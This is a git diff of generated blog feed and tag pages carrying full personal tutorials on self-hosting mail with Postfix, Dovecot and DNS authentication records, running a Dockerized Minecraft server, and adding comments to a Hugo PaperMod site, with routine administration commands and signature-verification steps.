    \ No newline at end of file diff --git a/public-clearnet/tags/opendkim/index.xml b/public-clearnet/tags/opendkim/index.xml new file mode 100644 index 0000000..c590d9a --- /dev/null +++ b/public-clearnet/tags/opendkim/index.xml @@ -0,0 +1,135 @@ +Opendkim on AlipourIm journeyshttps://blog.alipour.eu/tags/opendkim/Recent content in Opendkim on AlipourIm journeysHugo -- 0.146.0enFri, 24 Jul 2026 00:00:00 +0000Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow)https://blog.alipour.eu/posts/self_hosting_mail/Fri, 24 Jul 2026 00:00:00 +0000https://blog.alipour.eu/posts/self_hosting_mail/A friendly, story-shaped walk through hand-rolling mail on funbox: how email actually moves, what PTR/SPF/DKIM/DMARC even mean, why open relays are bad, and how Matrix stole my TLS certificate (again). +

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party.

    +

    I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.)

    +

    By the end I had Postfix talking to the world, Dovecot holding the inboxes, OpenDKIM signing what I send, PostfixAdmin for creating people without SSH, Roundcube for reading mail in a browser, SPF and DKIM and DMARC in DNS, and reverse DNS (PTR) pointing the right way. Strangers cannot use my server as a free spam cannon. Thunderbird can delete messages again. I can open webmail when I’m too lazy for a desktop client. And I finally understand why those pieces exist, which is the part the shiny installers quietly skip.

    +
    +

    Why I bothered

    +

    Funbox already hosted a small zoo of services with nice names and Let’s Encrypt certificates. Chat. Notes. Cloud stuff. Mail somehow stayed on the eternal TODO list labeled “next semester.” That felt silly. Email is older than most of the internet, slightly haunted, and still the boring glue that password resets and “your package has shipped” messages refuse to abandon.

    +

    I also wanted something more specific than “a mailbox.” I wanted addresses under my own domain, a way to create accounts for other humans without giving them shell access, and enough understanding that when something broke at 1 a.m. I wouldn’t be guessing which logo to Google. Doing it by hand is slower. It’s also how you stop treating mail as magic.

    +
    +

    How email actually moves

    +

    Imagine a post office that both receives letters from other post offices and lets you drop off letters to send — but only if you show ID at the counter.

    +

    Postfix is that post office building. It speaks SMTP. When another provider wants to deliver mail to you, it looks up your domain’s mail instructions in DNS, finds your server, and knocks on port 25. That conversation is server-to-server. Gmail does not “log in as Gmail” with a password when it delivers to you. Trust comes from DNS, reputation, content filters, and whether you look like an open relay (more on that later).

    +

    When you want to send mail from Thunderbird or Roundcube, you don’t casually open port 25 from a laptop anymore. You use submission, usually port 587, after starting TLS and proving who you are with a username and password. Postfix asks Dovecot, “is this password real?” If yes, Postfix is willing to carry your message out to the wider world. If no, goodbye.

    +

    Dovecot is the filing cabinet and the locked reading room. It stores messages (I used Maildir: folders of files, boring and sturdy). It speaks IMAP on port 993 so clients can list, read, move, and delete. In the virtual setup it also accepts deliveries from Postfix over a local pipe called LMTP — think “Postfix hands the sealed envelope to the filing clerk” instead of Postfix rummaging in the drawers itself.

    +

    OpenDKIM sits beside Postfix like a notary. Before a message leaves, it stamps a cryptographic signature on the headers. Receiving servers can fetch your public key from DNS and check that the stamp is real. That doesn’t encrypt the love letter for privacy; it helps prove the letter wasn’t casually forged by a random stranger using your From address.

    +

    Then there’s the paperwork in DNS — SPF, the DKIM public key, DMARC — which isn’t software running on your machine. It’s instructions you publish so other people’s servers know how to judge mail that claims to be from you.

    +

    Once you see that split — public receiving dock on 25, gated human counter on 587, filing cabinet on 993, notary for outbound, DNS as the rulebook — the rest of the tutorial stops feeling like a random pile of config files.

    +
    +

    The shape of my setup

    +

    On Ubuntu 24.04 on funbox, Postfix is the MTA, Dovecot is IMAP plus authentication helper plus delivery clerk, OpenDKIM signs outbound mail, PostfixAdmin is the web UI for mailboxes and aliases, and Roundcube is webmail. A small Docker Compose stack under /srv/services/mail/ runs Postgres only for that mail world, listening on 127.0.0.1:5433. Matrix and HedgeDoc keep their own databases. I like it that way. One sad PHP bug should not inherit a free ticket into Synapse.

    +

    Nginx terminates HTTPS for a little portal at mail.alipourimjourneys.ir, the admin UI at mailadmin.alipourimjourneys.ir, and Roundcube at webmail.alipourimjourneys.ir. Clients still talk to mail.alipourimjourneys.ir for IMAP 993 and SMTP 587. You can log in with the full address, and after a bit of SQL kindness Dovecot also accepts the short local part the way Apple Mail sometimes prefers.

    +
    +

    Port 25 is for servers; port 587 is for people

    +

    This deserves its own soft lecture because mixing them up is how nice people accidentally build spam infrastructure.

    +

    Port 25 is the classic loading bay between mail systems. When someone elsewhere sends mail to you, their server connects here. You want Postfix to accept messages addressed to your domain, store them (via Dovecot), and refuse to forward random mail to random destinations for unauthenticated strangers.

    +

    Port 587 is the counter with the ID check. Humans authenticate. After that, Postfix may relay outward. That is normal. That is how modern clients send.

    +

    I also turned off AUTH advertisements on port 25. Leaving AUTH enabled there doesn’t instantly mean you’re an open relay, but it does invite bots to spend eternity guessing passwords against a door that shouldn’t even have a doorbell for them. Submission keeps the doorbell. Port 25 keeps the loading bay.

    +
    +

    What an “open relay” is, and why localhost lies to you

    +

    An open relay is a mail server that accepts mail from the internet and forwards it to somewhere else without caring who asked. Spammers adore open relays the way raccoons adore unsecured bins. Modern Postfix defaults are usually cautious, but “usually” is not a control you can put on a checklist and trust with your domain’s reputation.

    +

    Here’s the trick that wastes afternoons: testing from 127.0.0.1.

    +

    Postfix treats localhost as friendly. Cron jobs, monitoring, local sendmail calls — they need to inject mail without performing a full human login. That friendliness is encoded in mynetworks. So if you point a test tool at loopback, Postfix may accept things it would never accept from a random address on the public internet. You can scare yourself for no reason, or soothe yourself for no reason. Neither is useful.

    +

    So I tested from the public address instead: pretend to be a stranger, say hello on port 25, try to send mail from evil@example.com to someone@example.com, and stop after the recipient line. The answer I wanted was a firm refusal — something in the spirit of 454 Relay access denied. A cheerful 250 on that recipient line is how you wake up as someone else’s cannon.

    +

    Kindness to future-you: always ask, “am I testing the door strangers use, or the door my own cron uses?”

    +
    +

    DNS, but make it human

    +

    The forward map (name → number)

    +

    You already know this one from websites. An A record says “this name has this IPv4.” AAAA says the same for IPv6. For mail you also publish an MX record, which is simply a polite note: “if you’re delivering mail for this domain, knock on that hostname.” The hostname still needs A/AAAA records. MX is a pointer with a priority number, not a magical alternate internet.

    +

    I put mail.alipourimjourneys.ir on funbox for both v4 and v6, pointed MX at that name, and added webmail and mailadmin the same way.

    +

    Why Cloudflare’s orange cloud is not invited

    +

    Cloudflare’s proxied mode (orange cloud) is wonderful for HTTP websites. It is not a general-purpose “anything TCP” cloak for SMTP and IMAP. If you orange-cloud a mail hostname, you are asking a web reverse proxy to pretend it’s a mail server. That story ends in tears, weird timeouts, or certificates that belong to the wrong plot.

    +

    Mail hostnames stay DNS-only — grey cloud. I already treat some realtime services that way. Mail joins the grey-cloud club and stays there.

    +
    +

    PTR records: the phonebook in reverse

    +

    This is the part that confused me the longest the first time I met it years ago, so I’m going to walk slowly.

    +

    Normal DNS is a phonebook from names to numbers: you look up mail.example.com and learn the IP. Reverse DNS is a phonebook from numbers to names. You look up the IP and learn which name claims it. That reverse lookup is a PTR record.

    +

    Those reverse records do not live in your ordinary domain zone on Cloudflare. They live in a special reverse tree managed by whoever owns the IP address space — your hosting people, your ISP, the friendly operator who can edit the reverse zone. Having your own nameservers for alipourimjourneys.ir does not automatically give you the keys to reverse DNS for an IP, any more than owning your apartment gives you the right to rename the street.

    +

    So you ask the IP owner, kindly and with copy-pasteable values, to publish reverse names that match your mail hostname. In my case both the IPv4 and the IPv6 address should reverse to mail.alipourimjourneys.ir, and that name should forward back to those same addresses. That round trip is sometimes called forward-confirmed reverse DNS. Receiving servers love it because it smells like a real mail host instead of a laptop on hotel Wi‑Fi.

    +

    You can receive mail without PTR. Sending to big providers without PTR is how you collect mysterious silences and spam-folder exile. In this story, PTR is already in place. The world looks a little less suspicious of funbox. Good.

    +
    +

    SPF, DKIM, and DMARC: three different questions

    +

    People mash these together into “email authentication.” They’re related, but they answer different questions, and knowing that makes the DNS records feel less like spell ingredients.

    +

    SPF answers: “which machines are allowed to send mail claiming this domain?” It’s a TXT record listing your IPs (and sometimes includes of other services). I made mine strict: this server’s v4, this server’s v6, and then -all, which means everyone else should fail SPF. That is a bold stance. Use it when you truly mean “only this box sends.” If you’re mid-migration and scared, a softer ~all exists for a reason. I wasn’t mid-migration. I was building one source of truth.

    +

    DKIM answers: “was this message signed with our private key, and does the signature still match?” OpenDKIM signs outbound mail. You publish the matching public key under a selector name in DNS. Receivers fetch the key and check the stamp. If someone rewrites the message in silly ways, the stamp breaks. If someone without your key tries to impersonate you, they can’t produce a valid stamp.

    +

    DMARC answers: “if SPF/DKIM don’t align properly with the visible From domain, what should receivers do?” You can start with p=none (watch and learn), move to quarantine (bad mail goes to spam), and later reject when you’re brave. I moved to quarantine once signing and SPF looked healthy. Strict alignment settings mean I’m not pretending that “nearby” domains are close enough.

    +

    Order matters emotionally and technically. Publishing a harsh DMARC before DKIM works is a creative way to punish yourself. Get the notary working. Get the allowed-IP list right. Then tighten the policy.

    +

    Together they don’t make email “secure” in the Signal sense. They make domain forgery harder and give honest receivers better instincts about your mail. That is already a lot.

    +
    +

    Building the unglamorous core

    +

    On the OS I installed Postfix and Dovecot the ordinary Ubuntu way, pointed both at a Let’s Encrypt certificate for mail.alipourimjourneys.ir, and configured submission so humans must authenticate on 587. I disabled AUTH on 25. I closed plain IMAP on 143 because I don’t need a cleartext nostalgia port in 2026.

    +

    Then came OpenDKIM. Generating keys is the easy emotional beat. Publishing the TXT record is easy too. The sneaky beat was the milter socket. Postfix often runs in a chroot under /var/spool/postfix, so the path Postfix uses for the socket is relative to that jail. OpenDKIM must create the socket where Postfix can actually see it, with permissions that let the postfix user connect.

    +

    I briefly had two Socket lines in opendkim.conf. Config files don’t merge those into a committee. The last one wins. Mine won incorrectly, Postfix looked in the chroot path, found nothing useful, and outbound mail left unsigned while I stared at an empty directory like it had personally betrayed me. One Socket. The correct path. Restart. Log line: DKIM-Signature field added. Instant serotonin.

    +

    When opendkim-testkey says the key is OK but “not secure,” it is often complaining about DNSSEC validation, not accusing your key of being fake. Read that message gently.

    +
    +

    The Matrix certificate heist (that wasn’t a heist)

    +

    Thunderbird once refused my server with a wrong-site story. I opened the certificate details expecting mail.… and found matrix.alipourimjourneys.ir smiling back.

    +

    No attacker. No cosmic joke from Let’s Encrypt. Just nginx.

    +

    When a browser or mail client connects with HTTPS or STARTTLS, it names the host it wants (SNI). Nginx chooses a certificate based on that name. If no server_name matches, nginx shrugs and uses the default server block. On funbox, that default has long been Matrix. So any half-configured HTTPS name inherits Matrix’s identity and fails the “are you who you say you are?” check in the most confusing way possible.

    +

    Later I repeated a sibling mistake with webmail.: I enabled an HTTPS site pointing at certificate files that did not exist yet. Nginx then failed its config test. Certbot’s nginx plugin also needs that test to pass. Deadlock. Meanwhile browsers hitting https://webmail.… still fell through to the default server and received Matrix’s cert again. Same villain, new episode.

    +

    The boring fix is chronological humility. Publish DNS. Put an HTTP-only server block up first. Issue the certificate. Only then flip the site to HTTPS. If you reverse those steps, nginx will teach you about chickens and eggs until you apologize.

    +
    +

    From Linux users to real mailboxes

    +

    The first version used system accounts. Postfix delivered to local Unix users. Dovecot checked passwords with PAM. For a single person it works. It also quietly means your mailbox password is entangled with your login story, and creating “a mail account for a friend” starts to look like creating a Unix inhabitant. That is not the vibe I wanted for a portal.

    +

    So I moved to virtual mailboxes. PostfixAdmin keeps domains, users, and aliases in Postgres. Dovecot looks up passwords and home directories with SQL. Mail files live under /var/vmail/... owned by a dedicated vmail user. Postfix no longer thinks of those addresses as local Unix people. It thinks of them as virtual destinations and hands the message to Dovecot over LMTP.

    +

    Why not let Postfix write the files itself? You can, historically. I prefer letting Dovecot be the clerk who already understands Maildir layouts, future filters, and the IMAP view of the world. Postfix remains the traffic cop at the street.

    +

    One setting decides whether this feels cursed or calm: mydestination.

    +

    That list means “domains I treat as local Unix delivery.” Virtual domains belong in the virtual maps instead. If your hostname is mail.alipourimjourneys.ir and you also leave that name in mydestination, Postfix may keep trying to deliver like it’s 1999 local mail. Virtual users then appear configured while messages vanish into the wrong conceptual bucket. I set mydestination to localhost and let the mail domain be virtual. Suddenly the model matched reality.

    +

    PostfixAdmin became the place where I create humans. They can change their own passwords in the user area. I can reset them when someone inevitably forgets. No SSH required for “please add my sibling.”

    +

    One more client quirk: some apps send only ialipour as the username. The database stores ialipour@mail.…. Dovecot’s “default realm” sounded like it would stitch those together automatically. For PLAIN auth it didn’t save me the way I hoped. Teaching the SQL queries to accept either the full address or local-part@mail.alipourimjourneys.ir did. Also, when authentication fails for “no reason,” consider that you might be typing your Linux password into a mailbox that has its own password now. I will not elaborate. We all learn in private.

    +
    +

    Webmail without losing the plot

    +

    Roundcube is not a second mail server. It’s a website that speaks IMAP and SMTP on your behalf. Same username, same password, same Dovecot, same submission port. I run it in Docker next to PostfixAdmin, with its own database on the mail Postgres.

    +

    I flirted with serving it under a path like /webmail on the main mail hostname while also serving it at the root of webmail.…. Roundcube has opinions about its base path. If you tell it “you live under /webmail” and then put it at / on another name, it will happily redirect you after login to a URL that 404s inside the container. Apache will even sign the 404 like a polite waiter bringing empty plates.

    +

    The calm ending: Roundcube lives at https://webmail.alipourimjourneys.ir/ as the site root. The portal links there. Path experiments go in the diary under “character development.”

    +
    +

    The bounce emails that taught me about identity

    +

    After virtualization, funbox started mailing me undeliverable notices. The original messages were those solemn “SECURITY information for funbox” notes that appear when sudo wants a password. Unix likes to mail root. My system identity still thought the local domain was mail.alipourimjourneys.ir, so root became root@mail.alipourimjourneys.ir. That mailbox does not exist on purpose. LMTP rejected it. The bounce returned to me, the sender of the sudo drama. It felt like the house accusing me of breaking the house.

    +

    The fix is to separate “system mail identity” from “human mail domain.” I set the mailname/origin story back toward localhost for local Unix injection, and I aliased root to my real virtual address so necessary noise still reaches a human. myhostname can still announce itself as mail.… on the SMTP banner. Different knobs, different jobs.

    +

    Deletes in Thunderbird failing was a softer lesson. Reading worked. Deleting seemed haunted. In IMAP land, “delete” is often “please move this to Trash.” If Trash can’t be created because permissions are wrong, or Dovecot never auto-creates those special folders, the client shrugs and you blame the moon. Giving vmail ownership of the maildirs and letting Dovecot auto-subscribe Trash, Drafts, and Sent restored ordinary mortal behavior.

    +

    And fail2ban exists because a public mail server’s address is a picnic for scanners. An SSH jail alone is only half a seatbelt. I also watch Postfix and Dovecot auth failures in /var/log/mail.log so repeated guessing gets a timeout instead of an unlimited hobby.

    +
    +

    What “done” means for me

    +

    For this build, done means strangers cannot relay through me when I check from the public IP. Port 25 does not offer AUTH as entertainment. Humans submit on 587 with TLS and passwords. IMAP is on 993. SPF is strict, DKIM signs, DMARC quarantines failures. PTR for both families of IP points at mail.alipourimjourneys.ir, and the forward records agree. Cloudflare stays grey for mail names. The mail database is not the Matrix database. Webmail works. Admin works. Thunderbird deletes work. I can explain every line of that paragraph to a tired friend without waving my hands.

    +

    Would I do it again? Yes. With the same stubborn refusal of the giant appliance, and with a kinder voice toward beginners — including past me — who thought reverse DNS was “just another Cloudflare panel button.”

    +

    If this story helped you feel less silly for not already knowing what PTR stood for: welcome. That was the point. You’re not a dummy. Email is just a very old building with a lot of labeled doors, and somebody finally walked you through the hallway with the lights on.

    +
    + + +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM
    +jSo2Yw//UtI5N8jeF+LTvsVHqDbTVyD+x6qiMgRGT4Kpn86V+6NaVjrs6h+kc5Xy
    +TD9gzCfpwsyfSDBGQ2SHM+bOTlyRDfXpH37XhOGVWNymP2guXaQBytJW11N7t6Yq
    +HhcRfnS1ICk+hK1PlZzLroHcxtT7vYWyucSoeGtedufXYVAaHz/mHVY1STMBEebP
    +NvaJqU5PbuHOHICGGtPADKUB8PejmRmUrzWp/bhA6k9muQSa4Bg30GkBLisOPvKq
    +4kgsu5qV7bhB2IyS6nYb+A1QhTD5EcrMzSaqRdNZR0MV2OzW4feSKwBrJqCe5Z8O
    +4BAMhpgk4baTz0+fSjWiKSokQhizXvB6vK21qu2O+5WbkyY/LLi0klLlF2UqhKnU
    +HE3+dYsxSYXMeCMUqDBPSmkxynJYIlUqen1gVt/vrjFpXRs8jsSx+Ec6+nHiwtLu
    +O+8yqHuGOevp91MW9Ly5eXeWMspmEhC4fgBXe4Anpol3FpwkE2neIy6N6D7FSQWM
    +0k4KDrEbfIvoowTRRXmNpHV+ttSYanjzTl3oQQZ+Y9H+g+uPrfh8oUvivrj+2ZOn
    +iv9oMoW6Q3rB7V/2+jptXpswhzfO67MLcGuToI5VIWz7vvOIW7vCAeSBK6LI91iB
    +VrhS5npAuRFTLR/jGboaIsiiAhI3j4zFvgBJ4c4PatN42KODY20=
    +=KCRU
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/self_hosting_mail.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/self_hosting_mail.md.asc
    +gpg --verify self_hosting_mail.md.asc self_hosting_mail.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/opendkim/page/1/index.html b/public-clearnet/tags/opendkim/page/1/index.html new file mode 100644 index 0000000..ad6815d --- /dev/null +++ b/public-clearnet/tags/opendkim/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/opendkim/ + \ No newline at end of file diff --git a/public-clearnet/tags/paper/index.html b/public-clearnet/tags/paper/index.html new file mode 100644 index 0000000..c1d03c7 --- /dev/null +++ b/public-clearnet/tags/paper/index.html @@ -0,0 +1,11 @@ +Paper | AlipourIm journeys +

    Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases

    How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.

    September 29, 2025 · 3 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/paper/index.xml b/public-clearnet/tags/paper/index.xml new file mode 100644 index 0000000..2216980 --- /dev/null +++ b/public-clearnet/tags/paper/index.xml @@ -0,0 +1,166 @@ +Paper on AlipourIm journeyshttps://blog.alipour.eu/tags/paper/Recent content in Paper on AlipourIm journeysHugo -- 0.146.0enMon, 29 Sep 2025 09:06:29 +0000Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releaseshttps://blog.alipour.eu/posts/minecraft_server/Mon, 29 Sep 2025 09:06:29 +0000https://blog.alipour.eu/posts/minecraft_server/How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.Why +

    I’ve been running a Java Minecraft world (with Bedrock players via Geyser) in tmux. I moved it to Docker for easier updates, backups, and restarts. Along the way I hit:

    +
      +
    • failed to register layer: ... no space left on device
    • +
    • Client saying: “Outdated client, please use 1.21.9 Pre-Release 2”
    • +
    • Wanting config in a neat .env and no whitelist
    • +
    +

    Here’s exactly what I did.

    +
    +

    Folder layout

    +
    ~/minecraft/
    +├─ docker-compose.yml
    +├─ .env
    +└─ plugins/
    +

    +

    .env (secrets & knobs)

    +

    Use the latest stable (not snapshots/pre-releases) by setting VERSION=LATEST.

    +
    # Minecraft server configuration
    +EULA=TRUE
    +TYPE=PAPER
    +VERSION=LATEST
    +MEMORY=4G
    +USE_AIKAR_FLAGS=true
    +
    +# RCON (remote console)
    +ENABLE_RCON=true
    +RCON_PASSWORD=superSecretPassword123
    +
    +

    I don’t use a whitelist, so no WHITELIST/ENFORCE_WHITELIST variables.

    +
    +

    docker-compose.yml

    +
    services:
    +  mc:
    +    image: itzg/minecraft-server:latest
    +    container_name: mc
    +    restart: unless-stopped
    +    ports:
    +      - "25565:25565"        # Java
    +      - "19132:19132/udp"    # Bedrock via Geyser plugin
    +    env_file:
    +      - .env
    +    volumes:
    +      - mc-data:/data
    +      - ./plugins:/plugins:ro
    +volumes:
    +  mc-data: {}
    +
    +

    The version: key in Compose is obsolete now, so I dropped it.

    +
    +

    Add Geyser (and optional Floodgate) as plugins

    +
    mkdir -p ~/minecraft/plugins
    +cd ~/minecraft/plugins
    +
    +# Geyser (Spigot/Paper)
    +wget https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot   -O Geyser-Spigot.jar
    +
    +# Floodgate (optional: Bedrock accounts without Java linking)
    +wget https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot   -O Floodgate-Spigot.jar
    +

    Start it up:

    +
    docker compose up -d
    +

    On first run, Geyser writes its config to /data/plugins/Geyser-Spigot/. Open UDP 19132 on your firewall.

    +
    +

    Hit a wall: /var ran out of space

    +

    Docker stores layers at /var/lib/docker by default. My /var LV was tiny:

    +
    /dev/mapper/ubuntu--vg-var   3.9G  3.4G  333M  92% /var
    +

    Quick cleanup

    +
    docker system df
    +docker system prune -f
    +docker builder prune -af
    +sudo apt-get clean
    +sudo journalctl --vacuum-size=100M
    +

    If that’s not enough, you have two good options:

    +

    Option A — Move Docker’s data off /var

    +
    sudo systemctl stop docker
    +sudo mkdir -p /home/docker
    +sudo rsync -aHAX --info=progress2 /var/lib/docker/ /home/docker/
    +echo '{ "data-root": "/home/docker" }' | sudo tee /etc/docker/daemon.json
    +sudo systemctl start docker
    +docker info | grep "Docker Root Dir"
    +

    If all looks good, free the old space:

    +
    sudo rm -rf /var/lib/docker/*
    +

    Option B — Grow /var (LVM)

    +

    Check free space in the VG:

    +
    sudo vgdisplay   # look for "Free PE / Size"
    +

    If available, extend /var by +5G:

    +
    sudo lvextend -L +5G /dev/mapper/ubuntu--vg-var
    +sudo resize2fs /dev/mapper/ubuntu--vg-var
    +

    +

    The version mismatch: pre-release vs stable

    +

    My logs showed:

    +
    Starting minecraft server version 1.21.9 Pre-Release 2
    +

    That happens if the server pulls a pre-release build (or if VERSION=LATEST). Fix:

    +
      +
    1. Ensure .env has: +
      VERSION=LATEST_RELEASE
      +
    2. +
    3. Recreate: +
      docker compose down
      +docker compose pull
      +docker compose up -d
      +
    4. +
    5. Verify: +
      docker logs mc | grep "Starting minecraft server version"
      +# -> Starting minecraft server version 1.21.1   (example)
      +
    6. +
    +
    +

    Tip: If you want to pin and avoid auto-updates entirely, set VERSION=1.21.1 (or whatever stable you’ve validated).

    +
    +

    No whitelist

    +

    Because I don’t set WHITELIST/ENFORCE_WHITELIST, anyone can join (subject to online-mode, bans, and Geyser/Floodgate auth settings). Manage ops/permissions via:

    +
    docker exec -it mc rcon-cli "op YourJavaIGN"
    +

    (or edit /data/ops.json).

    +
    +

    Backup & updates

    +
      +
    • World/data live under the mc-data volume → back up /data regularly.
    • +
    • Update cleanly: +
      docker compose pull && docker compose up -d
      +
    • +
    • Watch space: +
      watch -n5 'df -h /var; docker system df'
      +
    • +
    +
    +

    TL;DR

    +
      +
    • Put Geyser/Floodgate jars in ./plugins and expose 19132/udp.
    • +
    • Keep configs in .env.
    • +
    • Fix /var space by pruning, moving Docker’s data-root, or extending /var via LVM.
    • +
    • Verify version in logs after each change.
    • +
    +

    Happy block-breaking! 🧱🚀

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
    +jSrrmBAAuVoSvB3tRIzD+N0F5OwfYvG3V3z6ok58df7p4js91/a9lcki2ywxw/Dy
    +Q3aeieiGITkd/zMNjTydy4XjkScoRFFlL5GVZ2WNjO8CvjpEv3nK7EX6jRt5leMV
    +0D0DESMnOQzgo4a1CuNHrYPHKPaMVpJ/1aKOUZwyPC9j8/70irAJpoA2jdBgSsxw
    +7p/hYijX0vGJ8+WSFj6707dh6hNRk5ZaNc0cElpkE4kXA31H0h/fRwPPteT4wjGA
    +JWQAyEUu3Vx/U0BnN6R9Lne+5cqxO0Kh8VrcBpyH2VpqH3fDk1fIHk1RdhDxwKD7
    +OzvAT5XXRS5Q6Udc7Nsa9T/OYG+elcgMAMFXosItqTRJNG72OyWloLVc/OrJ5Qsc
    +s81FbfcHp1dgjJ2gtO2Eyb/wb1WkyvrQegNnjuJzMt3awBN1BWex5Nn4Bz+UbLDz
    +g6dGQxcpfDJ6F9Tjz/ru7RZ9Yic/bo8vVvKaa6FhSAwF4SluKWS3cf3meE4GQD5r
    +NrClzg0Vujk/3zP/6yhCL7I0SwQ+NeW2HoUHeoawApBmFt/q5du4ftIx2iMMeWoH
    +F91H35CchRtKArxjpwFNt/J1QAPvKx9UvzA2uAl+LNOWXf/gomXH6Tqm9vnWr/aX
    +sczdH6N2E0+7KDO7NwjBJWa/QwdXKUlOq5fFgAop22v3vWOml1M=
    +=NmxL
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/minecraft_server.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/minecraft_server.md.asc
    +gpg --verify minecraft_server.md.asc minecraft_server.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/paper/page/1/index.html b/public-clearnet/tags/paper/page/1/index.html new file mode 100644 index 0000000..82cf450 --- /dev/null +++ b/public-clearnet/tags/paper/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/paper/ + \ No newline at end of file diff --git a/public-clearnet/tags/papermod/index.html b/public-clearnet/tags/papermod/index.html new file mode 100644 index 0000000..acbced0 --- /dev/null +++ b/public-clearnet/tags/papermod/index.html @@ -0,0 +1,22 @@ +PaperMod | AlipourIm journeys +

    New features for my blog! Adding Comments + RSS to Hugo PaperMod (Giscus and Isso FTW)

    Short story: I wanted comments and a proper RSS feed on my Hugo + PaperMod site. +Longer story: I spent 30 minutes poking around, and now you don’t have to. Here’s exactly what I did. +I’ve been wanting to add comment section to my blog for a while. There are a few problems. +I don’t want to get attacked by bots or random people for no reason. I don’t want to allow weird things to happen. I don’t want to have a database for it. So… I decided to take a path which is not necesserially the best. It requires a third party to act on your behalf, but it is not as scary as it sounds. According to Github: +...

    October 23, 2025 · 15 min · Iman Alipour +

    A Tiny 'Views' Badge Sent Me Down a Rabbit Hole (PaperMod + Busuanzi + Debugging --> swapped with GoatCounter the GOAT)

    I tried to add a simple ‘views’ counter to my PaperMod blog. It worked—until it didn’t. Here’s the story of blank numbers, a mysterious Chinese message, and the final fix.

    October 18, 2025 · 9 min · Iman Alipour +

    Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases

    How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.

    September 29, 2025 · 3 min · Iman Alipour +

    Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperMod

    TL;DR — The site is built once (Hugo project), published twice: +Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301. Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror. 1) Tor hidden service (onion) basics I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301. +Install & configure Tor (Debian/Ubuntu): +sudo apt update && sudo apt install -y tor sudoedit /etc/tor/torrc Add: +...

    September 19, 2025 · 6 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/papermod/index.xml b/public-clearnet/tags/papermod/index.xml new file mode 100644 index 0000000..17d9cbb --- /dev/null +++ b/public-clearnet/tags/papermod/index.xml @@ -0,0 +1,1350 @@ +PaperMod on AlipourIm journeyshttps://blog.alipour.eu/tags/papermod/Recent content in PaperMod on AlipourIm journeysHugo -- 0.146.0enThu, 23 Oct 2025 19:31:12 +0200New features for my blog! Adding Comments + RSS to Hugo PaperMod (Giscus and Isso FTW)https://blog.alipour.eu/posts/comments-rss-papermod/Thu, 23 Oct 2025 19:31:12 +0200https://blog.alipour.eu/posts/comments-rss-papermod/A friendly, copy-pasteable guide to wiring up Giscus comments (GitHub Discussions) and Isso comments + RSS in Hugo PaperMod. +

    Short story: I wanted comments and a proper RSS feed on my Hugo + PaperMod site.
    +Longer story: I spent 30 minutes poking around, and now you don’t have to. Here’s exactly what I did.

    +
    +

    I’ve been wanting to add comment section to my blog for a while. +There are a few problems.

    +
      +
    • I don’t want to get attacked by bots or random people for no reason.
    • +
    • I don’t want to allow weird things to happen.
    • +
    • I don’t want to have a database for it.
    • +
    +

    So… I decided to take a path which is not necesserially the best. +It requires a third party to act on your behalf, but it is not as scary as it sounds. +According to Github:

    +
    +

    What the app can do +The app’s rights are limited to the repo(s) where the site owner installed it and to the permissions it requested (basically: Discussions read/write + metadata). It can’t touch a commenter’s private repos or do things outside those scopes. GitHub’s docs also say a GitHub App can only do what both you and the app have permission to do.

    +
    +

    What “Act on your behalf” means +That scary wording is GitHub’s. The giscus maintainer explains it means “post comments under your username,” and shows that the app requests Discussions read/write + metadata when installed.

    +
    +

    Do commenters have alternatives? +Yes. Anyone can open the linked GitHub Discussion and comment directly on GitHub, bypassing the app’s OAuth popup. The README explicitly mentions this.

    +
    +

    Privacy & storage +No tracking/ads; comments live in GitHub Discussions. giscus is open-source and has a published privacy policy. You can also revoke the app any time in your GitHub settings.

    +

    With the notice out of the way let’s dive right in!

    +
    +

